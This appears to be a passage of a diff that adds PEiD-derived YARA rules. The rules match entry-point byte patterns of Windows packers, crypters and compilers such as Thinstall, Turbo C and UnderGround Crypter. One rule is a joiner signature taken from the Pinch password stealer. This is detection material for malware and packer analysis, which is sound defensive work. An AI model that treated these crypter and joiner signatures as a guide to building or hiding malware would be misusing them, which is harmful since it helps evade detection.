+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02265_Thinstall_Embedded_V2_717_V2_719____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.717-V2.719 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02266_Thinstall_V2_403____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.403 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02267_Thinstall_v2_460____Jitit_
+{
+    meta:
+        description = "[Thinstall v2.460 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02268_Thinstall_V2_736____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall V2.736 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02269_Thinstall_V2_736____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.736 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02270_Thinstall_V2_7X____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.7X -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02271_Thinstall_Virtualization_Suite_3_035_3_043____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite 3.035-3.043 -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02272_Thinstall_Virtualization_Suite_3_0xx____Jitit_Software_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite 3.0xx -> Jitit Software]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 00 00 00 01 68 00 ?? 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02273_Thinstall_Virtualization_Suite_V3_035_V3_043____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.035-V3.043 -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02274_Thinstall_Virtualization_Suite_V3_049_V3_080____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02275_Thinstall_Virtualization_Suite_V3_049_V3_080____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02276_Thinstall_Virtualization_Suite_V3_0X____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.0X -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02277_Thinstall_Virtualization_Suite_V3_0X____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.0X -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02278_Thinstall_Virtualization_Suite_V3_10X____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.10X -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02279_Thinstall_vx_x_
+{
+    meta:
+        description = "[Thinstall vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02280_TMT_Pascal_v0_40_
+{
+    meta:
+        description = "[TMT-Pascal v0.40]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02281_TopSpeed_v3_01_1989_
+{
+    meta:
+        description = "[TopSpeed v3.01 1989]"
+        ep_only = "true"
+    strings:
+        $a = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02282_TPPpack___clane_
+{
+    meta:
+        description = "[TPPpack-> clane]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02283_Trainer_Creation_Kit_5_Trainer_
+{
+    meta:
+        description = "[Trainer Creation Kit 5 Trainer]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+    condition:
+        $a
+}
+
+rule PEiD_02284_Trainer_Creation_Kit_v5_Trainer_
+{
+    meta:
+        description = "[Trainer Creation Kit v5 Trainer]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40 00 68 34 45 40 00 50 E8 15 02 00 00 6A 00 FF 35 30 45 40 00 50 6A 02 E8 4D 02 00 00 A3 74 45 40 00 6A 00 68 D4 10 40 00 6A 00 6A 01 FF 35 70 45 40 00 E8 02 02 00 00 B3 0A FE CB 74 10 FF 35 74 45 40 00 E8 27 02 00 00 83 F8 00 74 EC B3 0A FE CB 74 10 FF 35 30 45 40 00 E8 B7 01 00 00 83 F8 00 74 EC B3 0A FE CB 74 16 68 25 45 40 00 E8 96 01 00 00 83 F8 00 74 ED 6A 00 E8 90 01 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C7 00 00 00 6A 01 FF 35 70 45 40 00 E8 B0 01 00 00 50 6A 01 68 80 00 00 00 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02285_Trilobyte_s_JPEG_graphics_Library_
+{
+    meta:
+        description = "[Trilobyte's JPEG graphics Library]"
+        ep_only = "false"
+    strings:
+        $a = {84 10 FF FF FF FF 1E 00 01 10 08 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02286_Trivial173_by_SMT_SMF_
+{
+    meta:
+        description = "[Trivial173 by SMT/SMF]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02287_TrueType_Font_file_
+{
+    meta:
+        description = "[TrueType Font file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4C 54 53 48}
+    condition:
+        $a
+}
+
+rule PEiD_02288_TrueType_Font_file_
+{
+    meta:
+        description = "[TrueType Font file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4F 53 2F 32}
+    condition:
+        $a
+}
+
+rule PEiD_02289_TTPpack_
+{
+    meta:
+        description = "[TTPpack]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 F6 E8 11 00 00 00 8B 64 24 08 64 8F 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02290_Turbo_C_1987_or_Borland_C___1991_
+{
+    meta:
+        description = "[Turbo C 1987 or Borland C++ 1991]"
+        ep_only = "true"
+    strings:
+        $a = {FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02291_Turbo_C_1987_
+{
+    meta:
+        description = "[Turbo C 1987]"
+        ep_only = "true"
+    strings:
+        $a = {FB 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02292_Turbo_C_1988_
+{
+    meta:
+        description = "[Turbo C 1988]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 BB ?? ?? 8E DB 8C D3 8B CC FA 8E ?? ?? ?? BC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02293_Turbo_C_1990_or_Turbo_C_1988_
+{
+    meta:
+        description = "[Turbo C 1990 or Turbo C 1988]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 8B ?? ?? ?? 8B ?? ?? ?? 8E DA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02294_Turbo_C_or_Borland_C___
+{
+    meta:
+        description = "[Turbo C or Borland C++]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02295_Turbo_C___3_0_1990_
+{
+    meta:
+        description = "[Turbo C++ 3.0 1990]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02296_Turbo_C_
+{
+    meta:
+        description = "[Turbo C]"
+        ep_only = "true"
+    strings:
+        $a = {BC ?? ?? E8 ?? ?? 2E 8E ?? ?? ?? E8 ?? ?? 2E 80 ?? ?? ?? ?? 75 ?? E8 ?? ?? 8B C3 2E F7 ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02297_Turbo_or_Borland_Pascal_v7_0_
+{
+    meta:
+        description = "[Turbo or Borland Pascal v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {9A ?? ?? ?? ?? C8 ?? ?? ?? 9A ?? ?? ?? ?? 09 C0 75 ?? EB ?? 8D ?? ?? ?? 16 57 6A ?? 9A ?? ?? ?? ?? BF ?? ?? 1E 57 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02298_Turbo_Pascal_Configuration_File_
+{
+    meta:
+        description = "[Turbo Pascal Configuration File]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_02299_Turbo_Pascal_Desktop_File_
+{
+    meta:
+        description = "[Turbo Pascal Desktop File]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 44 65 73 6B 74 6F 70}
+    condition:
+        $a
+}
+
+rule PEiD_02300_Turbo_Pascal_Help_File_
+{
+    meta:
+        description = "[Turbo Pascal Help File]"
+        ep_only = "false"
+    strings:
+        $a = {54 55 52 ?? ?? ?? 50 41 53 ?? ?? ?? ?? 48 45 4C 50}
+    condition:
+        $a
+}
+
+rule PEiD_02301_Turbo_Pascal_v2_0_1984_
+{
+    meta:
+        description = "[Turbo Pascal v2.0 1984]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 34}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02302_Turbo_Pascal_v3_0_1985_
+{
+    meta:
+        description = "[Turbo Pascal v3.0 1985]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 35}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02303_Turbo_Profiler_Areas_file_
+{
+    meta:
+        description = "[Turbo Profiler Areas file]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F ?? 50 72 6F 66 69 6C 65 72 ?? 61 72 65 61 73 ?? 66 69 6C 65}
+    condition:
+        $a
+}
+rule PEiD_02304_TurboBAT_v3_10____5_0__Patched__
+{
+    meta:
+        description = "[TurboBAT v3.10 .. 5.0 (Patched)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02305_TurboBAT_v3_10____5_0_
+{
+    meta:
+        description = "[TurboBAT v3.10 .. 5.0]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? B4 09 ?? ?? 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 ?? ?? 26 ?? ?? ?? 24 0F 3A C4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02306_TXT2COM__Read_A_Matic_v1_0__
+{
+    meta:
+        description = "[TXT2COM (Read-A-Matic v1.0)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 8C 06 ?? ?? FA 8E D0 BC ?? ?? FB B4 ?? CD 21 A3 ?? ?? 06 50 B4 34 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02307_TXT2COM_v2_06_
+{
+    meta:
+        description = "[TXT2COM v2.06]"
+        ep_only = "true"
+    strings:
+        $a = {8D 26 ?? ?? E8 ?? ?? B8 ?? ?? CD 21 CD 20 54 58 54 32 43 4F 4D 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02308_UCEXE_v2_3__v2_4_
+{
+    meta:
+        description = "[UCEXE v2.3, v2.4]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E 0E 1F FC 33 F6 E8 ?? ?? 16 07 33 F6 33 FF B9 ?? ?? F3 A5 06 B8 ?? ?? 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02309_UG2002_Cruncher_v0_3b3_
+{
+    meta:
+        description = "[UG2002 Cruncher v0.3b3]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02310_UltraPro_V1_0____SafeNet_
+{
+    meta:
+        description = "[UltraPro V1.0 -> SafeNet]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02311_UnderGround_Crypter___by_Booster2000_
+{
+    meta:
+        description = "[UnderGround Crypter - by Booster2000]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02312_unknown____jac_
+{
+    meta:
+        description = "[unknown -> jac]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 B9 00 80 00 00 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 31 C2 66 01 C2 C1 C2 07 E2 F1 50 E8 91 FF FF FF C9 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02313_Unknown_by_SMT_
+{
+    meta:
+        description = "[Unknown by SMT]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02314_Unknown_encryptor__1__
+{
+    meta:
+        description = "[Unknown encryptor (1)]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02315_Unknown_encryptor__2_____PK7Tjrvx__
+{
+    meta:
+        description = "[Unknown encryptor (2) - \"PK7Tjrvx\"]"
+        ep_only = "true"
+    strings:
+        $a = {06 B4 52 CD 21 07 E8 ?? ?? B4 62 CD 21 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02316_Unknown_Joiner__sign_from_pinch_26_03_2007_02_12__
+{
+    meta:
+        description = "[Unknown Joiner (sign from pinch 26.03.2007 02:12)]"
+        ep_only = "true"
+    strings:
+        $a = {44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02317_Unknown_packer__02__
+{
+    meta:
+        description = "[Unknown packer (02)]"
+        ep_only = "true"
+    strings:
+        $a = {FA 8C DE 8C CF 8E DF 8E C7 83 C7 ?? BB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02318_Unknown_packer__03__
+{
+    meta:
+        description = "[Unknown packer (03)]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 57 56 50 53 51 52 BD ?? ?? 0E 1F 8C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02319_Unknown_packer__04__
+{
+    meta:
+        description = "[Unknown packer (04)]"
+        ep_only = "true"
+    strings:
+        $a = {BC ?? ?? C3 2E FF 2E ?? ?? CF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02320_Unknown_packer__05__
+{
+    meta:
+        description = "[Unknown packer (05)]"
+        ep_only = "true"
+    strings:
+        $a = {FA BB ?? ?? B9 ?? ?? 87 E5 87 27 03 E3 91 8A CB 80 E1 ?? D3 C4 91 33 E3 87 27}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02321_Unknown_packer__06__
+{
+    meta:
+        description = "[Unknown packer (06)]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? BE ?? ?? 33 F0 0E 17 2E ?? ?? ?? BA ?? ?? 87 E6 5B 33 DC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02322_Unknown_packer__07__
+{
+    meta:
+        description = "[Unknown packer (07)]"
+        ep_only = "true"
+    strings:
